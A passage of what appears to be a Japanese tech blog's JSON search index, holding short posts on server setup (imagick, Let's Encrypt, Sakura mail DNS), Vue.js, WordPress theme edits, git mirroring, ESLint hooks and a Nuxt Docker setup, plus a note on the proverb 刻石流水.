がインストールされていないか、無効化されています。」**と出たのでimagickモジュールを入れることにした。\n環境は以下\nさくらのVPS CentOS 7 Nginx 1.17 PHP 7.4 MariaDB ※VPSでなくレンタルサーバーサービスならコントールパネルといった管理画面から簡単に入れられると思う。\nperlコマンドを使えるようにするため、php-pear php-develをインストール。\nyum install --enablerepo=remi,remi-php74 php-pear php-devel 次に、imagickをインストール\npecl install imagick /etc/php.d/の下に30-imagick.iniというiniファイルを作成し編集していく。\nvi /etc/php.d/30-imagick.ini そして、ファイルへ以下の記述をする。\n; Enable imagick extension module extension=imagick.so 最後に、php-fpmを再起動。\nsystemctl restart php-fpm WordPressの管理画面に戻って、テスト通過されていることが確認できればOK。\n","permalink":"https://pop-web.github.io/programming/wordpress-site-health-check-imagick/","summary":"\u003cp\u003eWordPressサイトヘルスチェックの「1つ以上の推奨モジュールが存在しません」の中で、**「オプションのモジュール imagick がインストールされていないか、無効化されています。」**と出たのでimagickモジュールを入れることにした。\u003c/p\u003e","title":"【WordPressサイトヘルス解決】オプションのモジュールimagickがインストールされていないか、無効化されています。"},{"content":"刻石流水は、こくせきりゅうすいと読む。\nもとは、仏典の中にある「懸情流水 受恩刻石（情を懸けしは、水に流し、恩を受けしは、石に刻むべし）」を四文字熟語にした言葉らしいが、詳しい出典は不明。\n意味は、自分がしてあげたことは水に流して、相手にしてもらった恩は忘れるな。\n『せっかく、私がこんなにしてあげているのに…』とか、そういった不満を出てしまうことがある。\n人間はよく自分がしてあげたことはしっかり覚えてるけど、人から恩を受けたことはすぐに忘れてしまう。\nちなみに、スーパーボランティアで有名な尾畠春夫さんもこの言葉を言っていた。\nこういう気持ちを持った人間になりたいが、まだまだ修行足りないなと。\n","permalink":"https://pop-web.github.io/kingen/kokuseki-ryusui/","summary":"\u003cp\u003e刻石流水は、\u003cstrong\u003eこくせきりゅうすい\u003c/strong\u003eと読む。\u003c/p\u003e\n\u003cp\u003eもとは、仏典の中にある「懸情流水 受恩刻石（情を懸けしは、水に流し、恩を受けしは、石に刻むべし）」を四文字熟語にした言葉らしいが、詳しい出典は不明。\u003c/p\u003e","title":"かけた情けは水に流せ、受けた恩は石に刻め【刻石流水】"},{"content":"さくらのVPSで独自ドメインでWEBサーバーを運用している場合、メールアドレスのドメイン も同じドメインで使用したい場合があると思う。\nでも、メールサーバーをたてるには、PostfixやDovecotの設定が必要で結構めんどい。\nそこで「さくらのメールボックス」。\nこのサービスは月額換算約86円と安い。\nこの「さくらのメールボックス」を使ってメールアドレスのドメインもWEBサーバーと同じ独自ドメインにする。\nやることは、ネームサーバの設定でAレコードにはさくらのVPSのIPアドレスを設定し、MXレコードにさくらのレンタルサーバの初期ドメインを設定すること。\nAレコード・・・さくらのVPSのIPアドレス MXレコード・・・さくらのレンタルサーバの初期ドメイン 既存ソーンの削除 すでに、ネームサーバの設定をしている場合は、ネームサーバのゾーン情報を一度削除する必要がある。\n会員メニュー → 契約情報 → ドメインメニューから該当ドメインの「ゾーン削除」をクリックして削除する。\n再度、左メニューのドメインメニューの「ネームサーバ新規登録」をクリックしてドメインを登録する。\n設定の反映には2時間ほどかかるようだ。\nさくらのメールボックスの設定 さくらインターネットサーバコントロールパネルに行く。\n左メニューのドメイン設定 → ドメイン/SSL設定 → 新しいドメインの追加をクリック。\n「2. さくらインターネットで取得したドメインを使う」で、前述の「ネームサーバ新規登録」で登録した同じドメイン名を選択して「送信する」をクリック。\nネームサーバの編集 再度、会員メニュー → 契約情報 → ドメインメニューで該当のドメインの「ゾーン編集」をクリック。\nエントリ名「@」のAレコードをさくらのVPSのIPアドレスに変更する。\nエントリ名「@」のMXレコード「10 @」を「10 hogehoge.sakura.ne.jp.（レンタルサーバーの初期ドメイン）」に変更する。\nちなみに、「レンタルサーバーの初期ドメイン」は、サーバコントロールパネル管理画面の左メニューの「お客さま情報」で確認できる。\n注意点として、MXレコードの最後には「.」ピリオドが必要。\n最後に、左の「データ送信」リンクをクリックする。\n反映までには数時間から48時間かかる。\n48時間を超えても反映が確認できない場合は再度設定を見直すか、さくらインターネットへ直接問い合わせをして確認をしてみる。\n","permalink":"https://pop-web.github.io/server/linux/vps-mailbox-domain/","summary":"\u003cp\u003eさくらのVPSで独自ドメインでWEBサーバーを運用している場合、メールアドレスのドメイン も同じドメインで使用したい場合があると思う。\u003c/p\u003e\n\u003cp\u003eでも、メールサーバーをたてるには、PostfixやDovecotの設定が必要で結構めんどい。\u003c/p\u003e","title":"さくらVPSとさくらのメールボックスを同じ独自ドメインにする方法"},{"content":"さくらのVPSにてLet\u0026rsquo;s EncryptでSSL化させる手順を説明する。\n環境について 環境については以下の通り。\nさくらのVPS CentOS 7 Nginx 1.17 Certbotインストール 適切な場所移動してgit cloneする。\ncd /usr/local git clone https://github.com/certbot/certbot certbotに移動して確認\ncd certbot/ ./certbot-auto --version certbot 1.4.0 証明書の設定 Nginxは一旦停止する。\nsystemctl stop nginx また、80番、443番のポートは開けておく。\n以下のコマンドで証明書の設定を実行する。\n./certbot-auto certonly --standalone -d \u0026lt;SSL化したいドメイン\u0026gt; -m \u0026lt;連絡用のメールアドレス\u0026gt; --agree-tos -n 最後に、Congratulations!とでればOK。\nNginxの設定 Ngixnの設定ファイルを開いて編集する、。\nvi /etc/nginx/conf.d/default.conf 以下の箇所を編集・変更する。\n編集前 server { listen 80; ..... 編集後 server { listen 443 ssl; ssl_certificate /etc/letsencrypt/live/\u0026lt;SSL化したいドメイン\u0026gt;/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/SSL化したいドメイン\u0026gt;/privkey.pem; ..... Nginxを再起動して確認\nsystemctl restart nginx Nginxを再起動してブラウザでSSL化になっていることが確認できればOK。\n","permalink":"https://pop-web.github.io/server/linux/nginx-lets-encrypt-ssl/","summary":"\u003cp\u003eさくらのVPSにてLet\u0026rsquo;s EncryptでSSL化させる手順を説明する。\u003c/p\u003e\n\u003ch2 id=\"環境について\"\u003e環境について\u003c/h2\u003e\n\u003cp\u003e環境については以下の通り。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eさくらのVPS\u003c/li\u003e\n\u003cli\u003eCentOS 7\u003c/li\u003e\n\u003cli\u003eNginx 1.17\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"certbotインストール\"\u003eCertbotインストール\u003c/h2\u003e\n\u003cp\u003e適切な場所移動してgit cloneする。\u003c/p\u003e","title":"【さくらVPS】NginxをLet's EncryptでSSL化させる"},{"content":"v-modelは双方向データバインディングを行うディレクティブであるが、カスタムコンポーネントでv-modelを使う場合、少しややこしい。\nv-modelの中身の動作について まず、v-modelには、別の書き方がある。\n以下の2つのinputタグのプロパティは同じ意味である。\n\u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;!-- 以下の2つは同じ動作をする --\u0026gt; \u0026lt;input v-model=\u0026#34;exampleText\u0026#34; /\u0026gt; \u0026lt;input :value=\u0026#34;exampleText\u0026#34; @input=\u0026#34;exampleText = $event.target.value\u0026#34; /\u0026gt; \u0026lt;p\u0026gt;{{ exampleText }}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { data() { return { exampleText: \u0026#34;\u0026#34; }; } }; \u0026lt;/script\u0026gt; valueプロパティ（:value）とinputイベント（@input）の記述を一つにまとめたものがv-modelである。\nちなみに、こんな感じに複雑な構文をシンプルに分かりやすくまとめた構文を糖衣構文やシンタックスシュガーと呼ばれる。\nカスタムコンポーネントでv-modelを使う場合 カスタムコンポーネントでv-modelを使う場合でも、v-modelの中身はvalueプロパティとinputイベントである。\n以下の2つはコンポーネントは同じ動作になる。\n\u0026lt;template\u0026gt; \u0026lt;div style=\u0026#34;padding:10px;\u0026#34;\u0026gt; \u0026lt;!-- 以下の2つは同じ動作をする --\u0026gt; \u0026lt;someComponent v-model=\u0026#34;exampleText\u0026#34; /\u0026gt; \u0026lt;someComponent :value=\u0026#34;exampleText\u0026#34; @input=\u0026#34;exampleText = $event\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 実際に親コンポーネントと子コンポーネントを作成して動作確認をする。\n親コンポーネント（index.vue） \u0026lt;template\u0026gt; \u0026lt;div style=\u0026#34;padding:10px;\u0026#34;\u0026gt; \u0026lt;someComponent :value=\u0026#34;exampleText\u0026#34; @input=\u0026#34;exampleText = $event\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import someComponent from \u0026#34;../components/someComponent\u0026#34;; export default { components: { someComponent }, data() { return { exampleText: \u0026#34;\u0026#34; }; } }; \u0026lt;/script\u0026gt; 子コンポーネント（someComponent.vue） \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;input :value=\u0026#34;value\u0026#34; @input=\u0026#34;$emit(\u0026#39;input\u0026#39;, $event.target.value)\u0026#34; type=\u0026#34;text\u0026#34; /\u0026gt; \u0026lt;p\u0026gt;{{ value }}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { props: [\u0026#34;value\u0026#34;] }; \u0026lt;/script\u0026gt; 子コンポーネントは、**親のコンポーネントの:valueからpropsでデータを受け取る。**そして{{ value }}で表示。\n$emitの第一引数の「input」はで親コンポーネントにあるカスタムイベント@inputを指していて、これを発火させて「exampleText」に「$event」を代入している。\n$eventの中身は、子コンポーネントの第二引数の値が入っている。\nこれで、子コンポーネントで入力されたデータを親コンポーネントに渡すことができる。\nプロパティ名やカスタムイベント名を変更したい時 カスタムコンポーネントでv-modeを使用した場合、デフォルトでプロパティ名はvalueとなり、カスタムイベント名はinputとなる。\nこれらを変更したい時は、子コンポーネントの方でmodelオプションを使う。\nさっきのソースコードではテキストボックスだったが、チェックボックスに変更する。\nここでは、プロパティ名をcheckedとし、カスタムイベント名をchangeとした。\n親コンポーネント（index.vue） \u0026lt;template\u0026gt; \u0026lt;div style=\u0026#34;padding:10px;\u0026#34;\u0026gt; \u0026lt;someComponent v-model=\u0026#34;checkBox\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import someComponent from \u0026#34;../components/someComponent\u0026#34;; export default { components: { someComponent }, data() { return { checkBox: false }; } }; \u0026lt;/script\u0026gt; 子コンポーネント（someComponent.vue） \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;input :checked=\u0026#34;checked\u0026#34; @input=\u0026#34;$emit(\u0026#39;change\u0026#39;, $event.target.checked)\u0026#34; type=\u0026#34;checkbox\u0026#34; /\u0026gt; \u0026lt;p\u0026gt;{{ checked }}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { model: { prop: \u0026#34;checked\u0026#34;, event: \u0026#34;change\u0026#34; }, props: [\u0026#34;checked\u0026#34;] }; \u0026lt;/script\u0026gt; まとめると、カスタムコンポーネントでv-modelを使う場合、親コンポーネントと子コンポーネントとの間で具体的にどういったデータのやり取りをしているかを意識する必要があるということ。\n","permalink":"https://pop-web.github.io/programming/vue-js/custom-components-v-model/","summary":"\u003cp\u003ev-modelは双方向データバインディングを行うディレクティブであるが、カスタムコンポーネントでv-modelを使う場合、少しややこしい。\u003c/p\u003e\n\u003ch2 id=\"v-modelの中身の動作について\"\u003ev-modelの中身の動作について\u003c/h2\u003e\n\u003cp\u003eまず、v-modelには、別の書き方がある。\u003c/p\u003e","title":"カスタムコンポーネントでのv-modelの動作について。中身の:valueと@inputを理解する"},{"content":"当ブログではWordPressのテーマは「Twenty Seventeen」を使っている。\nさらに、子テーマを配置してカスタマイズ変更を行っている。\nなぜ子テーマを使うか 基本的なことだが、なぜ子テーマを使用するのかについて。\n親テーマを編集しているとテーマのアップデート時にその編集内容がすべて吹っ飛んでしまうためである。\nサブディレクトリ以下のPHPファイルも子テーマで変更制御したい 親テーマのスタイルシート（style.css）を上書きしたい場合は、子テーマディレクトリ直下に同ファイル名のスタイルシート（style.css）配置して、それを編集すればよい。\nしかし、親テーマディレクトリのinc/template-tags.phpの内容を子テーマが側で変更しようと、子テーマディレクトリへ同ファイル名のinc/template-tags.phpを入れて編集しても変更内容が反映されない。\nこのような場合は、子テーマのfunctions.phpへ変更したいソースコードを書く。\n例えば、親テーマディレクトリのinc/template-tags.php内のfunction twentyseventeen_time_link()という関数の内容を上書きしたい場合、その該当ソースコードだけを子テーマディレクトリのfunctions.phpにコピペして、変更したい箇所だけ修正すればいよい。\n変更例として、投稿日が更新日より新しい日付の場合は更新日を表示させないというカスタマイズ変更をやっていく。\nまず、子テーマディレクトリのfunctions.phpにfunction twentyseventeen_time_link()の内容を貼り付ける。\n子テーマのfunctions.phpの編集 function twentyseventeen_time_link() { $time_string = \u0026#39;\u0026lt;time class=\u0026#34;entry-date published updated\u0026#34; datetime=\u0026#34;%1$s\u0026#34;\u0026gt;%2$s\u0026lt;/time\u0026gt;\u0026#39;; if ( get_the_time( \u0026#39;U\u0026#39; ) !== get_the_modified_time( \u0026#39;U\u0026#39; ) ) { $time_string = \u0026#39;\u0026lt;time class=\u0026#34;entry-date published\u0026#34; datetime=\u0026#34;%1$s\u0026#34;\u0026gt;%2$s\u0026lt;/time\u0026gt;\u0026lt;time class=\u0026#34;updated\u0026#34; datetime=\u0026#34;%3$s\u0026#34;\u0026gt;%4$s\u0026lt;/time\u0026gt;\u0026#39;; } $time_string = sprintf( $time_string, get_the_date( DATE_W3C ), get_the_date(), get_the_modified_date( DATE_W3C ), get_the_modified_date() ); // Wrap the time string in a link, and preface it with \u0026#39;Posted on\u0026#39;. return sprintf( /* translators: %s: Post date. */ __( \u0026#39;\u0026lt;span class=\u0026#34;screen-reader-text\u0026#34;\u0026gt;Posted on\u0026lt;/span\u0026gt; %s\u0026#39;, \u0026#39;twentyseventeen\u0026#39; ), \u0026#39;\u0026lt;a href=\u0026#34;\u0026#39; . esc_url( get_permalink() ) . \u0026#39;\u0026#34; rel=\u0026#34;bookmark\u0026#34;\u0026gt;\u0026#39; . $time_string . \u0026#39;\u0026lt;/a\u0026gt;\u0026#39; ); } この中の、\nif ( get_the_time( \u0026#39;U\u0026#39; ) !== get_the_modified_time( \u0026#39;U\u0026#39; ) ) という箇所を以下のように変更する。\nif ( get_the_time( \u0026#39;U\u0026#39; ) \u0026lt; get_the_modified_time( \u0026#39;U\u0026#39; ) ) これで投稿日が更新日より新しい日付の場合は更新日を表示できないよう反映できた。\nこうすることで、親テーマincサブディレクトリ内のファイルも汚さずに、子テーマ側でカスタマイズ変更がすることができる。\n","permalink":"https://pop-web.github.io/programming/child-theme-directory-overwrite/","summary":"\u003cp\u003e当ブログではWordPressのテーマは「Twenty Seventeen」を使っている。\u003c/p\u003e\n\u003cp\u003eさらに、子テーマを配置してカスタマイズ変更を行っている。\u003c/p\u003e","title":"WordPress親テーマのincサブディレクトリ以下のファイルを子テーマで上書きしたい場合"},{"content":"既存のGitリモートリポジトリを別のGitリモートリポジトリ移行する方法を説明する。\n移行する時、すべてのブランチやコミット履歴も一緒に移行する。\nまず、移行先のGitリポジトリを作成しておく。\nそして、以下のようにGitコマンドの--mirrorオプションを使って移行をする。\ngit clone --mirror \u0026lt;既存のリモートリポジトリURL\u0026gt; \u0026lt;任意のディレクトリ名\u0026gt; cd \u0026lt;任意のディレクトリ名\u0026gt; git push --mirror \u0026lt;移行先のリモートリポジトリURL\u0026gt; これで、移行先のリモートリポジトリをのぞいて、想定通りのの移行できていればOK。\n","permalink":"https://pop-web.github.io/programming/git/remote-repository-migration/","summary":"\u003cp\u003e既存のGitリモートリポジトリを別のGitリモートリポジトリ移行する方法を説明する。\u003c/p\u003e\n\u003cp\u003e移行する時、すべてのブランチやコミット履歴も一緒に移行する。\u003c/p\u003e","title":"Gitリモートリポジトリをすべてのブランチごと別のリモートリポジトリへの移行方法"},{"content":"WordPressの公式テーマである「Twenty Seventeen」は初期状態でブログ記事の最新更新日が表示されていない。\n最終更新日を表示には？ 最終更新日を表示させるには、CSSを編集するだけ。\nそもそも最終更新日は画面上に出力されているのだが、CSSのdisplay: noneで非表示にされている。\n以下のCSSを追加すればよい。\nstyle.css time.updated:not(.published) { display: inline; margin-left: 1em; } ※CSSを追加するなどWordPressテーマのカスタマイズをする場合は、子テーマを作成してファイルの上書きをすることをオススメする。そうしないと、WordPressテーマを更新するとカスタマイズした内容がすべてふっとんでしまう。\nそうすると投稿日の右に最終更新日が表示される。\n予約投稿すると投稿日より更新日が昔になってしまう問題 とりあえず最終更新日を表示することはできた。\nしかし、予約投稿した場合、投稿日は予約投稿日に設定した日になるが更新日は記事を作成した日になるため、投稿日より更新日が昔になってしまう、なんとも気持ち悪いことになる。\nこれを解決するには、WordPressテーマフォルダにある**「template-tags.php」**を編集する必要がある。\ntemplate-tags.phpを開いて、function twentyseventeen_time_link()内を変更していく。\ntemplate-tags.phpの変更を子テーマ側でしたい場合は、style.cssで変更する場合とやり方少し異なるので以下の記事を参照。\nhttps://blog.pop-web.net/programming/child-theme-directory-overwrite/\ntemplate-tags.php if ( get_the_time( \u0026#39;U\u0026#39; ) !== get_the_modified_time( \u0026#39;U\u0026#39; ) ) { の部分を\nif ( get_the_time( \u0026#39;U\u0026#39; ) \u0026lt; get_the_modified_time( \u0026#39;U\u0026#39; ) ) { とする。\nこれで更新日が投稿日より昔の場合には表示されないようになる。\nまた、初投稿した記事の場合、投稿日と更新日が同じ日として表示される。\n記事を更新していないのに、更新日として表示されるのが嫌だって場合は、先ほど修正したtemplate-tags.phpの内容を以下のようにif文のif(get_the_date() == get_the_modified_date())を追加する。\nif ( get_the_time( \u0026#39;U\u0026#39; ) \u0026lt; get_the_modified_time( \u0026#39;U\u0026#39; ) ) { $time_string = \u0026#39;\u0026lt;time class=\u0026#34;entry-date published\u0026#34; datetime=\u0026#34;%1$s\u0026#34;\u0026gt;%2$s\u0026lt;/time\u0026gt;\u0026lt;time class=\u0026#34;updated\u0026#34; datetime=\u0026#34;%3$s\u0026#34;\u0026gt;%4$s\u0026lt;/time\u0026gt;\u0026#39;; if(get_the_date() == get_the_modified_date()){ $time_string = \u0026#39;\u0026lt;time class=\u0026#34;entry-date published updated\u0026#34; datetime=\u0026#34;%1$s\u0026#34;\u0026gt;%2$s\u0026lt;/time\u0026gt;\u0026#39;; } } つまり、日付が同じ場合は投稿日だけ表示させるロジックをさらに追加しているのだ。\nこれで、投稿日と更新日が同じ日の場合には更新日が表示されなくなる。\n","permalink":"https://pop-web.github.io/programming/wordpress-twenty-seventeen-last-updated/","summary":"\u003cp\u003eWordPressの公式テーマである「Twenty Seventeen」は初期状態でブログ記事の最新更新日が表示されていない。\u003c/p\u003e\n\u003ch2 id=\"最終更新日を表示には\"\u003e最終更新日を表示には？\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e最終更新日を表示させるには、CSSを編集するだけ。\u003c/strong\u003e\u003c/p\u003e","title":"WordPress Twenty Seventeenの最終更新日を表示させる"},{"content":"WordPressのプラグインを更新中に、ブラウザ更新ボタンを押してしまい、\nWordPressのサイトが**「現在メンテナンス中のため、しばらくの間ご利用いただけません。」**としか表示されなくなってしまった。\n解決方法 解決方法としては、サーバにある**「.maintenance」を削除**するだけ。\n「.maintenance」のある場所 WordPressを設置しているサーバへFTPツールで接続し、WordPressファイル群がある公開ディレクトリ直下に移動。\nそこに「.maintenance」がある。\n","permalink":"https://pop-web.github.io/programming/wordpress-maintenance/","summary":"\u003cp\u003eWordPressのプラグインを更新中に、ブラウザ更新ボタンを押してしまい、\u003c/p\u003e\n\u003cp\u003eWordPressのサイトが**「現在メンテナンス中のため、しばらくの間ご利用いただけません。」**としか表示されなくなってしまった。\u003c/p\u003e","title":"WordPressエラー解決「現在メンテナンス中のため、しばらくの間ご利用いただけません。」"},{"content":"v-forディレクティブにはkey属性が必須 v-forディレクティブを使う場合、v-bindディレクティブへ一意（ユニーク）のkey属性を設定すること必須である。\nkey属性がない場合はどう言ったバグが起こるのか簡単に説明する。\nバグが起きる例 以下のように、key属性を指定しない場合。\ndataにpetsという配列のプロバティ名を用意して、v-forで繰返し表示させている。\nmethodsには1番目のアイテムを削除するにようクリックイベントを用意している。\nHTML \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;div v-for=\u0026#34;(pet,index) in pets\u0026#34;\u0026gt; \u0026lt;p\u0026gt; {{ pet }}\u0026lt;br /\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;checkbox\u0026#34;\u0026gt;犬です\u0026lt;/label\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;checkbox\u0026#34;\u0026gt;猫です\u0026lt;/label\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;br /\u0026gt; \u0026lt;button @click=\u0026#34;del\u0026#34;\u0026gt;1番目の削除\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; JavaScript new Vue({ el:\u0026#34;#app\u0026#34;, data:{ pets:[\u0026#39;柴犬\u0026#39;,\u0026#39;三毛猫\u0026#39;,\u0026#39;ペルシャ\u0026#39;] }, methods:{ del(){ this.pets.splice(0,1) } } }) 画面で表示後、以下のようにチェックボックスを選択したとする。\nそして、「1番目の削除」押して1番目の柴犬を削除する。\nそうすると、以下のように柴犬は削除されるが、柴犬の選択したチェックボックス状態を、下にあった三毛猫が引き継いだ状態となってしまう。\nkey属性を指定しないとこういった思わぬバグが発生する。\nkey属性を指定して修正 key属性を指定してコードを修正する。\nHTML \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;div v-for=\u0026#34;(pet,index) in pets\u0026#34; :key=\u0026#34;pet\u0026#34;\u0026gt; \u0026lt;p\u0026gt; {{ pet }}\u0026lt;br /\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;checkbox\u0026#34;\u0026gt;犬です\u0026lt;/label\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;checkbox\u0026#34;\u0026gt;猫です\u0026lt;/label\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;br /\u0026gt; \u0026lt;button @click=\u0026#34;del\u0026#34;\u0026gt;1番目の削除\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; 修正内容は:key=\u0026quot;pet\u0026quot;を追記しただけ。\nこれで、再度画面を表示させて「1番目の削除」押して1番目の柴犬を削除する。\nそうすると今度は期待通りに柴犬で選択したチェックボックスも削除された状態になる。\nkey属性にインデックスは指定しないこと key属性をするときに、やってしまいがちなミスとしてはkey属性にインデックスを指定しまうこと。\n\u0026lt;div v-for=\u0026#34;(pet,index) in pets\u0026#34; :key=\u0026#34;index\u0026#34;\u0026gt; これをやってしまうと、一意ではなくなってしまうのでやってはいけない。\n","permalink":"https://pop-web.github.io/programming/vue-js/v-for-key/","summary":"\u003ch2 id=\"v-forディレクティブにはkey属性が必須\"\u003ev-forディレクティブにはkey属性が必須\u003c/h2\u003e\n\u003cp\u003ev-forディレクティブを使う場合、\u003cstrong\u003ev-bindディレクティブへ一意（ユニーク）のkey属性を設定すること必須である。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003ekey属性がない場合はどう言ったバグが起こるのか簡単に説明する。\u003c/p\u003e","title":"【Vue】v-forにはkey属性が必須の理由とバグが起きる例"},{"content":"computedがmethodsとは異なる点 computedがmethodsとは異なる点は、computedの方は依存関係に基づいてキャッシュされるという性質を持っているということ。\ncomputedは、依存関係にある値が変更されると処理が走るが、変更されてないとキャッシュを返す。 methodsは、キャッシュを返さないのでテンプレートが少しでも再描画されるたびに処理が走る。 処理コストを減らすためにも、キャッシュを使いたくない場合を除いてはcomputedをなるべく使用することが推奨されている。\nコードを書いてキャッシュされるかの確認 実際にcomputedで定義した処理がキャッシュされるのか確認する。\nHTML \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;p\u0026gt;{{ count }}\u0026lt;/p\u0026gt; \u0026lt;button type=\u0026#34;button\u0026#34; @click=\u0026#34;clickCount\u0026#34;\u0026gt;+1\u0026lt;/button\u0026gt; \u0026lt;p\u0026gt;methods: {{ dateMethods() }}\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;computed: {{ dateComputed }}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; +1するcountするボタンは、ただ再描画するためだけに設置したもの。\nJavaScript new Vue({ el: \u0026#39;#app\u0026#39;, data: { count: 0 }, methods: { clickCount(){ this.count += 1 }, dateMethods() { return Date.now() } }, computed: { dateComputed() { return Date.now() } } }); これでcountボタンを何回かクリックすると「methods:」の値は変わるが、「computed:」の値は変わらないことがわかる。\nDate.now()は依存関係のあるデータの変更がないため、computedでは常にキャッシュが返されるため値が変わらない。\n対してmethodsは、画面のどこが再描画されるたびに処理が走るため値が変化する。\n","permalink":"https://pop-web.github.io/programming/vue-js/%E3%80%90vue%E3%80%91computed%E3%81%A8methods%E3%81%AE%E9%81%95%E3%81%84%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6/","summary":"\u003ch2 id=\"computedがmethodsとは異なる点\"\u003ecomputedがmethodsとは異なる点\u003c/h2\u003e\n\u003cp\u003ecomputedがmethodsとは異なる点は、\u003cstrong\u003ecomputedの方は依存関係に基づいてキャッシュされるという性質を持っているということ。\u003c/strong\u003e\u003c/p\u003e","title":"【Vue】computedとmethodsの違いについて"},{"content":"Gitでコミットする際にESLintを走らせて、エラーの場合はコミットさせないようにする。\n手順 手順的には以下のよう。\nコミットされる前の操作である「pre-commit」をhuskyで制御する。 lint-stagedでGitのステージングエリアにあるファイルを対象にESLintのコマンドを実行する。 Gitコミット時に、ESLintでチェックしてエラーが出ればコミットされない。 必要なモジュール 必要なnpmモジュールをインストールする。\nnpm install -D husky lint-staged package.jsonを設定 package.jsonへ以下のように追記する。\n\u0026#34;husky\u0026#34;: { \u0026#34;hooks\u0026#34;: { \u0026#34;pre-commit\u0026#34;: \u0026#34;lint-staged\u0026#34; } }, \u0026#34;lint-staged\u0026#34;: { \u0026#34;*.{js,vue}\u0026#34;: [ \u0026#34;eslint --fix --ext .js,.vue --ignore-path .gitignore --ignore-pattern /cypress/* .\u0026#34; \u0026#34;git add\u0026#34; ] } lint-stagedのプロパティでは、*.{js,vue}として対象ファイルをしています。\nちなみに、eslintのコマンドで--ignore-pathで対象外のファイル、--ignore-patternで対象外のディレクトリを設定している。\n実際に試してみる 実際にエラーになるパターンとエラーにならないパターンでファイルを編集して、コミットしてみる。\n正常に処理されればOK。\n","permalink":"https://pop-web.github.io/programming/vue-js/vue-nuxt-commit-eslint/","summary":"\u003cp\u003eGitでコミットする際にESLintを走らせて、エラーの場合はコミットさせないようにする。\u003c/p\u003e\n\u003ch2 id=\"手順\"\u003e手順\u003c/h2\u003e\n\u003cp\u003e手順的には以下のよう。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eコミットされる前の操作である「pre-commit」を\u003ccode\u003ehusky\u003c/code\u003eで制御する。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003elint-staged\u003c/code\u003eでGitのステージングエリアにあるファイルを対象にESLintのコマンドを実行する。\u003c/li\u003e\n\u003cli\u003eGitコミット時に、ESLintでチェックしてエラーが出ればコミットされない。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"必要なモジュール\"\u003e必要なモジュール\u003c/h2\u003e\n\u003cp\u003e必要なnpmモジュールをインストールする。\u003c/p\u003e","title":"VueやNuxtの開発でcommitする前にESLintでチェックするやり方"},{"content":"VueのリアクティブシステムとはJavaScriptオブジェクトとの状態を監視し変更されたら検知するシステム。\nVueのコンポーネント内で状態を保持している値が変更された場合、リアルタイムでHTML側へその変更が検知されHTMLが更新される。\n単にデータバインディングしていることをリアクティブとも言う。\n","permalink":"https://pop-web.github.io/programming/vue-js/vue-js-reactivity/","summary":"\u003cp\u003eVueのリアクティブシステムとはJavaScriptオブジェクトとの状態を監視し変更されたら検知するシステム。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eVueのコンポーネント内で状態を保持している値が変更された場合、リアルタイムでHTML側へその変更が検知されHTMLが更新される。\u003c/strong\u003e\u003c/p\u003e","title":"Vue.jsのリアクティブシステムとは"},{"content":"Nuxtプロジェクト（SSRモード）をDocker Composeを使って起動させる方法を説明する。\n今回は、Nuxtプロジェクト直下にDockerfileとdocker-compose.ymlを置く。\nまずは、Dockerfileから。\nDockerfile FROM node:12.16.1-alpine EXPOSE 3000 ENV NUXT_HOST=0.0.0.0 RUN mkdir -p /nuxt-app WORKDIR /nuxt-app RUN apk update \u0026amp;\u0026amp; \\ apk upgrade \u0026amp;\u0026amp; \\ apk add git \u0026amp;\u0026amp; \\ apk add curl COPY package*.json ./ RUN npm install 必要はないが、gitやcurlもとりあえずインストールする。\nDockerは命令文を実行するたびにイメージレイヤーを作成してしまうため、RUN命令は、\u0026amp;\u0026amp;でつなげた方が良い。\nさらに、\\ を使って複数行にして見やすくした方が良い。\nDockerコンテナ内部に「nuxt-app」ディレクトリを作成してそこでNuxtプロジェクトを動かしていく。\nまず、ローカルにあるpackage*.jsonをコンテナにコピーして、npm install必要なパッケージをインストールする。\n次に、docker-compose.ymlを作成する。\ndocker-compose.yml version: \u0026#34;3\u0026#34; services: frontend: build: context: . dockerfile: Dockerfile ports: - \u0026#34;3000:3000\u0026#34; volumes: - /nuxt-app/node_modules - .:/nuxt-app command: [\u0026#34;npm\u0026#34;,\u0026#34;run\u0026#34;,\u0026#34;dev\u0026#34;] environment: - NODE_ENV=development Dockerコンテナを起動した際に、npm run devでNuxtアプリを起動するようにする。\n.dockerignore 